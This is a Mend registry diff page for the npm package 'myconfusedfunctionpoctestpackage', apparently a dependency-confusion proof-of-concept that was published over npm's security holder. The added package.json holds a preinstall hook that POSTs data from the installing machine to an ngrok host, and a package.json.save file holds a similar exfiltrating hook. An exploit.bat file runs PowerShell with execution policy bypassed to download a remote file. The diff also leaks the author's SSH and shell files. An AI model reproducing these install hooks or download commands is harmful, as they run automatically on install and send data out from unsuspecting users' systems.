npm - myconfusedfunctionpoctestpackage - Versions diffs - 0.0.1-security → 1.0.9 - Mend

myconfusedfunctionpoctestpackage 0.0.1-security → 1.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.

This version of myconfusedfunctionpoctestpackage might be problematic. Click here for more details.

Files changed (31) hide show

package/.npm/_logs/2025-02-24T20_33_07_656Z-debug-0.log ADDED Viewed

@@ -0,0 +1,80 @@
+0 verbose cli /usr/bin/node /usr/bin/npm
+1 info using npm@9.2.0
+2 info using node@v18.19.1
+3 timing npm:load:whichnode Completed in 1ms
+4 timing config:load:defaults Completed in 3ms
+5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 4ms
+6 timing config:load:builtin Completed in 4ms
+7 timing config:load:cli Completed in 4ms
+8 timing config:load:env Completed in 0ms
+9 timing config:load:project Completed in 1ms
+10 timing config:load:file:/home/bigibson/.npmrc Completed in 1ms
+11 timing config:load:user Completed in 1ms
+12 timing config:load:file:/etc/npmrc Completed in 1ms
+13 timing config:load:global Completed in 1ms
+14 timing config:load:setEnvs Completed in 2ms
+15 timing config:load Completed in 17ms
+16 timing npm:load:configload Completed in 18ms
+17 timing npm:load:mkdirpcache Completed in 0ms
+18 timing npm:load:mkdirplogs Completed in 1ms
+19 verbose title npm publish
+20 verbose argv "publish" "--scope" "public" "--loglevel" "verbose"
+21 timing npm:load:setTitle Completed in 4ms
+22 timing config:load:flatten Completed in 7ms
+23 timing npm:load:display Completed in 12ms
+24 verbose logfile logs-max:10 dir:/home/bigibson/.npm/_logs/2025-02-24T20_33_07_656Z-
+25 verbose logfile /home/bigibson/.npm/_logs/2025-02-24T20_33_07_656Z-debug-0.log
+26 timing npm:load:logFile Completed in 15ms
+27 timing npm:load:timers Completed in 0ms
+28 timing npm:load:configScope Completed in 0ms
+29 timing npm:load Completed in 52ms
+30 verbose publish [ '.' ]
+31 timing config:load:flatten Completed in 1ms
+32 silly logfile start cleaning logs, removing 1 files
+33 silly logfile done cleaning log files
+34 timing arborist:ctor Completed in 1ms
+35 notice
+36 notice 📦  myconfusedfunctionpoctestpackage@1.0.6
+37 notice === Tarball Contents ===
+38 notice 11.4kB .bash_history
+38 notice 220B   .bash_logout
+38 notice 3.8kB  .bashrc
+38 notice 0B     .cache/motd.legal-displayed
+38 notice 20B    .lesshst
+38 notice 9.7kB  .npm/_logs/2025-02-20T20_58_34_147Z-debug-0.log
+38 notice 9.9kB  .npm/_logs/2025-02-24T18_33_08_819Z-debug-0.log
+38 notice 11.5kB .npm/_logs/2025-02-24T18_43_29_748Z-debug-0.log
+38 notice 10.2kB .npm/_logs/2025-02-24T18_44_14_248Z-debug-0.log
+38 notice 10.4kB .npm/_logs/2025-02-24T19_00_04_898Z-debug-0.log
+38 notice 10.6kB .npm/_logs/2025-02-24T19_33_20_796Z-debug-0.log
+38 notice 12.0kB .npm/_logs/2025-02-24T19_52_14_957Z-debug-0.log
+38 notice 11.9kB .npm/_logs/2025-02-24T20_26_20_665Z-debug-0.log
+38 notice 12.1kB .npm/_logs/2025-02-24T20_27_50_313Z-debug-0.log
+38 notice 1.7kB  .npm/_logs/2025-02-24T20_33_02_781Z-debug-0.log
+38 notice 1.7kB  .npm/_logs/2025-02-24T20_33_07_656Z-debug-0.log
+38 notice 0B     .npm/_update-notifier-last-checked
+38 notice 807B   .profile
+38 notice 100B   .ssh/authorized_keys
+38 notice 142B   .ssh/known_hosts
+38 notice 0B     .sudo_as_admin_successful
+38 notice 327B   base.ldif
+38 notice 377B   exploit.bat
+38 notice 3.8kB  exploit.txt
+38 notice 356B   package.json
+38 notice 289B   package.json.save
+39 notice === Tarball Details ===
+40 notice name:          myconfusedfunctionpoctestpackage
+40 notice version:       1.0.6
+40 notice filename:      myconfusedfunctionpoctestpackage-1.0.6.tgz
+40 notice package size:  13.4 kB
+40 notice unpacked size: 123.4 kB
+40 notice shasum:        f4ddd2c429fff84e2d1b4ebcbe03d47fe826e21a
+40 notice integrity:     sha512-c/KosGfh42/4/[...]eB8rGM89ayueg==
+40 notice total files:   26
+41 notice
+42 notice Publishing to https://registry.npmjs.org/ with tag latest and default access
+43 http fetch PUT 200 https://registry.npmjs.org/myconfusedfunctionpoctestpackage 1642ms
+44 timing command:publish Completed in 1887ms
+45 verbose exit 0
+46 timing npm Completed in 1974ms
+47 info ok

package/.npm/_logs/2025-02-24T20_43_08_949Z-debug-0.log ADDED Viewed

@@ -0,0 +1,82 @@
+0 verbose cli /usr/bin/node /usr/bin/npm
+1 info using npm@9.2.0
+2 info using node@v18.19.1
+3 timing npm:load:whichnode Completed in 0ms
+4 timing config:load:defaults Completed in 3ms
+5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 4ms
+6 timing config:load:builtin Completed in 4ms
+7 timing config:load:cli Completed in 3ms
+8 timing config:load:env Completed in 0ms
+9 timing config:load:project Completed in 2ms
+10 timing config:load:file:/home/bigibson/.npmrc Completed in 0ms
+11 timing config:load:user Completed in 1ms
+12 timing config:load:file:/etc/npmrc Completed in 1ms
+13 timing config:load:global Completed in 1ms
+14 timing config:load:setEnvs Completed in 2ms
+15 timing config:load Completed in 17ms
+16 timing npm:load:configload Completed in 17ms
+17 timing npm:load:mkdirpcache Completed in 0ms
+18 timing npm:load:mkdirplogs Completed in 0ms
+19 verbose title npm publish
+20 verbose argv "publish" "--scope" "public" "--loglevel" "verbose"
+21 timing npm:load:setTitle Completed in 3ms
+22 timing config:load:flatten Completed in 6ms
+23 timing npm:load:display Completed in 11ms
+24 verbose logfile logs-max:10 dir:/home/bigibson/.npm/_logs/2025-02-24T20_43_08_949Z-
+25 verbose logfile /home/bigibson/.npm/_logs/2025-02-24T20_43_08_949Z-debug-0.log
+26 timing npm:load:logFile Completed in 14ms
+27 timing npm:load:timers Completed in 0ms
+28 timing npm:load:configScope Completed in 1ms
+29 timing npm:load Completed in 47ms
+30 verbose publish [ '.' ]
+31 timing config:load:flatten Completed in 0ms
+32 silly logfile start cleaning logs, removing 1 files
+33 silly logfile done cleaning log files
+34 timing arborist:ctor Completed in 2ms
+35 notice
+36 notice 📦  myconfusedfunctionpoctestpackage@1.0.7
+37 notice === Tarball Contents ===
+38 notice 11.4kB .bash_history
+38 notice 220B   .bash_logout
+38 notice 3.8kB  .bashrc
+38 notice 0B     .cache/motd.legal-displayed
+38 notice 20B    .lesshst
+38 notice 13.4kB .npm/_cacache/content-v2/sha512/73/f2/a8b067e1e36ff8fe9d0f369ef72b81f9d9a5f8794df5ca1ad5565ebf4c46f11af491ec09b9681f91595df70fbc775be8cb1d0ec47de07cac633cf5acae7a
+38 notice 230B   .npm/_cacache/index-v5/ae/c1/794477315825298db9ca27dfd950e963043ec553246545524bbab48a0c70
+38 notice 9.9kB  .npm/_logs/2025-02-24T18_33_08_819Z-debug-0.log
+38 notice 11.5kB .npm/_logs/2025-02-24T18_43_29_748Z-debug-0.log
+38 notice 10.2kB .npm/_logs/2025-02-24T18_44_14_248Z-debug-0.log
+38 notice 10.4kB .npm/_logs/2025-02-24T19_00_04_898Z-debug-0.log
+38 notice 10.6kB .npm/_logs/2025-02-24T19_33_20_796Z-debug-0.log
+38 notice 12.0kB .npm/_logs/2025-02-24T19_52_14_957Z-debug-0.log
+38 notice 11.9kB .npm/_logs/2025-02-24T20_26_20_665Z-debug-0.log
+38 notice 12.1kB .npm/_logs/2025-02-24T20_27_50_313Z-debug-0.log
+38 notice 1.7kB  .npm/_logs/2025-02-24T20_33_02_781Z-debug-0.log
+38 notice 4.3kB  .npm/_logs/2025-02-24T20_33_07_656Z-debug-0.log
+38 notice 1.7kB  .npm/_logs/2025-02-24T20_43_08_949Z-debug-0.log
+38 notice 0B     .npm/_update-notifier-last-checked
+38 notice 807B   .profile
+38 notice 100B   .ssh/authorized_keys
+38 notice 142B   .ssh/known_hosts
+38 notice 0B     .sudo_as_admin_successful
+38 notice 327B   base.ldif
+38 notice 377B   exploit.bat
+38 notice 3.8kB  exploit.txt
+38 notice 364B   package.json
+38 notice 289B   package.json.save
+39 notice === Tarball Details ===
+40 notice name:          myconfusedfunctionpoctestpackage
+40 notice version:       1.0.7
+40 notice filename:      myconfusedfunctionpoctestpackage-1.0.7.tgz
+40 notice package size:  27.7 kB
+40 notice unpacked size: 131.6 kB
+40 notice shasum:        85f4f7d465d1718889a5038cade7a2ce80d2b973
+40 notice integrity:     sha512-2QGzLyjFkfXHQ[...]yTbK77oNNGR8w==
+40 notice total files:   28
+41 notice
+42 notice Publishing to https://registry.npmjs.org/ with tag latest and default access
+43 http fetch PUT 200 https://registry.npmjs.org/myconfusedfunctionpoctestpackage 1476ms
+44 timing command:publish Completed in 1741ms
+45 verbose exit 0
+46 timing npm Completed in 1815ms
+47 info ok

package/.npm/_logs/2025-02-25T14_50_19_139Z-debug-0.log ADDED Viewed

@@ -0,0 +1,83 @@
+0 verbose cli /usr/bin/node /usr/bin/npm
+1 info using npm@9.2.0
+2 info using node@v18.19.1
+3 timing npm:load:whichnode Completed in 0ms
+4 timing config:load:defaults Completed in 3ms
+5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 6ms
+6 timing config:load:builtin Completed in 6ms
+7 timing config:load:cli Completed in 3ms
+8 timing config:load:env Completed in 1ms
+9 timing config:load:project Completed in 3ms
+10 timing config:load:file:/home/bigibson/.npmrc Completed in 0ms
+11 timing config:load:user Completed in 0ms
+12 timing config:load:file:/etc/npmrc Completed in 0ms
+13 timing config:load:global Completed in 0ms
+14 timing config:load:setEnvs Completed in 2ms
+15 timing config:load Completed in 21ms
+16 timing npm:load:configload Completed in 21ms
+17 timing npm:load:mkdirpcache Completed in 1ms
+18 timing npm:load:mkdirplogs Completed in 1ms
+19 verbose title npm publish
+20 verbose argv "publish" "--scope" "public" "--loglevel" "verbose"
+21 timing npm:load:setTitle Completed in 3ms
+22 timing config:load:flatten Completed in 6ms
+23 timing npm:load:display Completed in 11ms
+24 verbose logfile logs-max:10 dir:/home/bigibson/.npm/_logs/2025-02-25T14_50_19_139Z-
+25 verbose logfile /home/bigibson/.npm/_logs/2025-02-25T14_50_19_139Z-debug-0.log
+26 timing npm:load:logFile Completed in 13ms
+27 timing npm:load:timers Completed in 1ms
+28 timing npm:load:configScope Completed in 0ms
+29 timing npm:load Completed in 53ms
+30 verbose publish [ '.' ]
+31 timing config:load:flatten Completed in 1ms
+32 silly logfile start cleaning logs, removing 1 files
+33 silly logfile done cleaning log files
+34 timing arborist:ctor Completed in 1ms
+35 notice
+36 notice 📦  myconfusedfunctionpoctestpackage@1.0.8
+37 notice === Tarball Contents ===
+38 notice 12.1kB .bash_history
+38 notice 220B   .bash_logout
+38 notice 3.8kB  .bashrc
+38 notice 0B     .cache/motd.legal-displayed
+38 notice 20B    .lesshst
+38 notice 13.4kB .npm/_cacache/content-v2/sha512/73/f2/a8b067e1e36ff8fe9d0f369ef72b81f9d9a5f8794df5ca1ad5565ebf4c46f11af491ec09b9681f91595df70fbc775be8cb1d0ec47de07cac633cf5acae7a
+38 notice 27.7kB .npm/_cacache/content-v2/sha512/d9/01/b32f28c591f5c74195fa60649ae8a1583a007b6557205fecb8a69c0b0e1dc8c842456e083b5dcf2807f87336a89b30649c230967b324db2bbee834d191f3
+38 notice 460B   .npm/_cacache/index-v5/ae/c1/794477315825298db9ca27dfd950e963043ec553246545524bbab48a0c70
+38 notice 11.5kB .npm/_logs/2025-02-24T18_43_29_748Z-debug-0.log
+38 notice 10.2kB .npm/_logs/2025-02-24T18_44_14_248Z-debug-0.log
+38 notice 10.4kB .npm/_logs/2025-02-24T19_00_04_898Z-debug-0.log
+38 notice 10.6kB .npm/_logs/2025-02-24T19_33_20_796Z-debug-0.log
+38 notice 12.0kB .npm/_logs/2025-02-24T19_52_14_957Z-debug-0.log
+38 notice 11.9kB .npm/_logs/2025-02-24T20_26_20_665Z-debug-0.log
+38 notice 12.1kB .npm/_logs/2025-02-24T20_27_50_313Z-debug-0.log
+38 notice 1.7kB  .npm/_logs/2025-02-24T20_33_02_781Z-debug-0.log
+38 notice 4.3kB  .npm/_logs/2025-02-24T20_33_07_656Z-debug-0.log
+38 notice 7.7kB  .npm/_logs/2025-02-24T20_43_08_949Z-debug-0.log
+38 notice 1.7kB  .npm/_logs/2025-02-25T14_50_19_139Z-debug-0.log
+38 notice 0B     .npm/_update-notifier-last-checked
+38 notice 807B   .profile
+38 notice 100B   .ssh/authorized_keys
+38 notice 142B   .ssh/known_hosts
+38 notice 0B     .sudo_as_admin_successful
+38 notice 327B   base.ldif
+38 notice 377B   exploit.bat
+38 notice 3.8kB  exploit.txt
+38 notice 364B   package.json
+38 notice 289B   package.json.save
+39 notice === Tarball Details ===
+40 notice name:          myconfusedfunctionpoctestpackage
+40 notice version:       1.0.8
+40 notice filename:      myconfusedfunctionpoctestpackage-1.0.8.tgz
+40 notice package size:  56.9 kB
+40 notice unpacked size: 158.0 kB
+40 notice shasum:        96d9d44bff74f94f1dd492f82520fab0f0985547
+40 notice integrity:     sha512-s/y8mdSGrDm/g[...]szP+KrbotDp4Q==
+40 notice total files:   29
+41 notice
+42 notice Publishing to https://registry.npmjs.org/ with tag latest and default access
+43 http fetch PUT 200 https://registry.npmjs.org/myconfusedfunctionpoctestpackage 1352ms
+44 timing command:publish Completed in 1657ms
+45 verbose exit 0
+46 timing npm Completed in 1739ms
+47 info ok

package/.npm/_logs/2025-02-25T14_59_56_653Z-debug-0.log ADDED Viewed

@@ -0,0 +1,35 @@
+0 verbose cli /usr/bin/node /usr/bin/npm
+1 info using npm@9.2.0
+2 info using node@v18.19.1
+3 timing npm:load:whichnode Completed in 1ms
+4 timing config:load:defaults Completed in 4ms
+5 timing config:load:file:/usr/share/nodejs/npm/npmrc Completed in 3ms
+6 timing config:load:builtin Completed in 4ms
+7 timing config:load:cli Completed in 3ms
+8 timing config:load:env Completed in 1ms
+9 timing config:load:project Completed in 2ms
+10 timing config:load:file:/home/bigibson/.npmrc Completed in 0ms
+11 timing config:load:user Completed in 0ms
+12 timing config:load:file:/etc/npmrc Completed in 0ms
+13 timing config:load:global Completed in 0ms
+14 timing config:load:setEnvs Completed in 1ms
+15 timing config:load Completed in 17ms
+16 timing npm:load:configload Completed in 17ms
+17 timing npm:load:mkdirpcache Completed in 1ms
+18 timing npm:load:mkdirplogs Completed in 0ms
+19 verbose title npm publish
+20 verbose argv "publish" "--scope" "public" "--loglevel" "verbose"
+21 timing npm:load:setTitle Completed in 3ms
+22 timing config:load:flatten Completed in 6ms
+23 timing npm:load:display Completed in 14ms
+24 verbose logfile logs-max:10 dir:/home/bigibson/.npm/_logs/2025-02-25T14_59_56_653Z-
+25 verbose logfile /home/bigibson/.npm/_logs/2025-02-25T14_59_56_653Z-debug-0.log
+26 timing npm:load:logFile Completed in 14ms
+27 timing npm:load:timers Completed in 0ms
+28 timing npm:load:configScope Completed in 1ms
+29 timing npm:load Completed in 53ms
+30 verbose publish [ '.' ]
+31 timing config:load:flatten Completed in 1ms
+32 silly logfile start cleaning logs, removing 1 files
+33 silly logfile done cleaning log files
+34 timing arborist:ctor Completed in 3ms

package/.npm/_update-notifier-last-checked ADDED Viewed

File without changes

package/.profile ADDED Viewed

@@ -0,0 +1,27 @@
+# ~/.profile: executed by the command interpreter for login shells.
+# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
+# exists.
+# see /usr/share/doc/bash/examples/startup-files for examples.
+# the files are located in the bash-doc package.
+# the default umask is set in /etc/profile; for setting the umask
+# for ssh logins, install and configure the libpam-umask package.
+#umask 022
+# if running bash
+if [ -n "$BASH_VERSION" ]; then
+    # include .bashrc if it exists
+    if [ -f "$HOME/.bashrc" ]; then
+	. "$HOME/.bashrc"
+    fi
+fi
+# set PATH so it includes user's private bin if it exists
+if [ -d "$HOME/bin" ] ; then
+    PATH="$HOME/bin:$PATH"
+fi
+# set PATH so it includes user's private bin if it exists
+if [ -d "$HOME/.local/bin" ] ; then
+    PATH="$HOME/.local/bin:$PATH"
+fi

package/.ssh/authorized_keys ADDED Viewed

	@@ -0,0 +1 @@
1	+ ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPq46DtywGDKH3HEWsTSAHMChzF4JdA12udtwRzMwFRw generated-by-azure

package/.ssh/known_hosts ADDED Viewed

	@@ -0,0 +1 @@
1	+ \|1\|hAkID7hatXT1a6M7ajlyZPpSkF8=\|kncqw+21A5d2r+H/VEu2NS/KylU= ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIII/rK32lDm0wteqXPKQZiqRxMQlA2IcT1azYWLHzTMe

package/.sudo_as_admin_successful ADDED Viewed

File without changes

package/base.ldif ADDED Viewed

@@ -0,0 +1,13 @@
+dn: dc=ldap,dc=example,dc=com
+objectClass: top
+objectClass: dcObject
+objectClass: organization
+o: Example LDAP Organization
+dc: ldap
+dn: cn=admin,ldap,dc=example,dc=com
+objectClass: simpleSecurityObject
+objectClass: organizationalRole
+cn: admin
+description: Directory Administrator
+userPassword: {SSHA}your_encrypted_password

package/exploit.bat ADDED Viewed

	@@ -0,0 +1 @@
1	+ C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -Command "& { try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://drive.google.com/uc?export=download&id=1dTAN7CRkUj25ViAGpiUCZOCiyjpJGIQP' -OutFile 'C:\Users\ADClient1-Admin\Downloads\exploit.txt' } catch { Write-Error $_ } }"

package/exploit.txt ADDED Viewed

@@ -0,0 +1,26 @@
+This file is a "malicious" file
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡠⢤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⠟⠃⠀⠀⠙⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠋⠀⠀⠀⠀⠀⠀⠘⣆⠀⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠾⢛⠒⠀⠀⠀⠀⠀⠀⠀⢸⡆⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣶⣄⡈⠓⢄⠠⡀⠀⠀⠀⣄⣷⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣷⠀⠈⠱⡄⠑⣌⠆⠀⠀⡜⢻⠀⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⡿⠳⡆⠐⢿⣆⠈⢿⠀⠀⡇⠘⡆⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⣷⡇⠀⠀⠈⢆⠈⠆⢸⠀⠀⢣⠀⠀⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣧⠀⠀⠈⢂⠀⡇⠀⠀⢨⠓⣄⠀⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⣿⣿⣦⣤⠖⡏⡸⠀⣀⡴⠋⠀⠈⠢⡀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⠁⣹⣿⣿⣿⣷⣾⠽⠖⠊⢹⣀⠄⠀⠀⠀⠈⢣⡀
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡟⣇⣰⢫⢻⢉⠉⠀⣿⡆⠀⠀⡸⡏⠀⠀⠀⠀⠀⠀⢇
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢨⡇⡇⠈⢸⢸⢸⠀⠀⡇⡇⠀⠀⠁⠻⡄⡠⠂⠀⠀⠀⠘
+⢤⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠛⠓⡇⠀⠸⡆⢸⠀⢠⣿⠀⠀⠀⠀⣰⣿⣵⡆⠀⠀⠀⠀
+⠈⢻⣷⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡿⣦⣀⡇⠀⢧⡇⠀⠀⢺⡟⠀⠀⠀⢰⠉⣰⠟⠊⣠⠂⠀⡸
+⠀⠀⢻⣿⣿⣷⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⢧⡙⠺⠿⡇⠀⠘⠇⠀⠀⢸⣧⠀⠀⢠⠃⣾⣌⠉⠩⠭⠍⣉⡇
+⠀⠀⠀⠻⣿⣿⣿⣿⣿⣦⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣞⣋⠀⠈⠀⡳⣧⠀⠀⠀⠀⠀⢸⡏⠀⠀⡞⢰⠉⠉⠉⠉⠉⠓⢻⠃
+⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⢀⣀⠠⠤⣤⣤⠤⠞⠓⢠⠈⡆⠀⢣⣸⣾⠆⠀⠀⠀⠀⠀⢀⣀⡼⠁⡿⠈⣉⣉⣒⡒⠢⡼⠀
+⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣎⣽⣶⣤⡶⢋⣤⠃⣠⡦⢀⡼⢦⣾⡤⠚⣟⣁⣀⣀⣀⣀⠀⣀⣈⣀⣠⣾⣅⠀⠑⠂⠤⠌⣩⡇⠀
+⠀⠀⠀⠀⠀⠀⠘⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡁⣺⢁⣞⣉⡴⠟⡀⠀⠀⠀⠁⠸⡅⠀⠈⢷⠈⠏⠙⠀⢹⡛⠀⢉⠀⠀⠀⣀⣀⣼⡇⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣿⣿⣿⣿⣿⣿⣿⣿⣽⣿⡟⢡⠖⣡⡴⠂⣀⣀⣀⣰⣁⣀⣀⣸⠀⠀⠀⠀⠈⠁⠀⠀⠈⠀⣠⠜⠋⣠⠁⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢿⣿⣿⣿⡟⢿⣿⣿⣷⡟⢋⣥⣖⣉⠀⠈⢁⡀⠤⠚⠿⣷⡦⢀⣠⣀⠢⣄⣀⡠⠔⠋⠁⠀⣼⠃⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣿⣿⡄⠈⠻⣿⣿⢿⣛⣩⠤⠒⠉⠁⠀⠀⠀⠀⠀⠉⠒⢤⡀⠉⠁⠀⠀⠀⠀⠀⢀⡿⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⢿⣤⣤⠴⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠑⠤⠀⠀⠀⠀⠀⢩⠇⠀⠀⠀
+⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀

package/package.json CHANGED Viewed

@@ -1,6 +1,12 @@
 {
-  "name": "myconfusedfunctionpoctestpackage",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+"name": "myconfusedfunctionpoctestpackage",
+"version": "1.0.9",
+"description": "poc",
+"main": "index.js",
+"scripts": {
+"test": "echo 'testa'",
+"preinstall": "ping -c 1 ost-benchmarking | curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode @- https://74f5-34-168-173-48.ngrok-free.app"
+},
+"author": "me",
+"license": "ISC"
 }

package/package.json.save ADDED Viewed

@@ -0,0 +1,12 @@
+{
+"name": "mygcpconfusedfunctionpocmaliciouspackage",
+"version": "1.1.1",
+"description": "poc",
+"main": "index.js",
+"scripts": {
+"test": "echo 'testa'",
+"preinstall": "echo 'hello world'|jq -sRr|curl -X POST https://d2b8-34-168-173-48.ngrok-free.app"
+},
+"author": "me",
+"license": "ISC"
+}

package/README.md DELETED Viewed

@@ -1,5 +0,0 @@
-# Security holding package
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-Please refer to www.npmjs.com/advisories?search=myconfusedfunctionpoctestpackage for more information.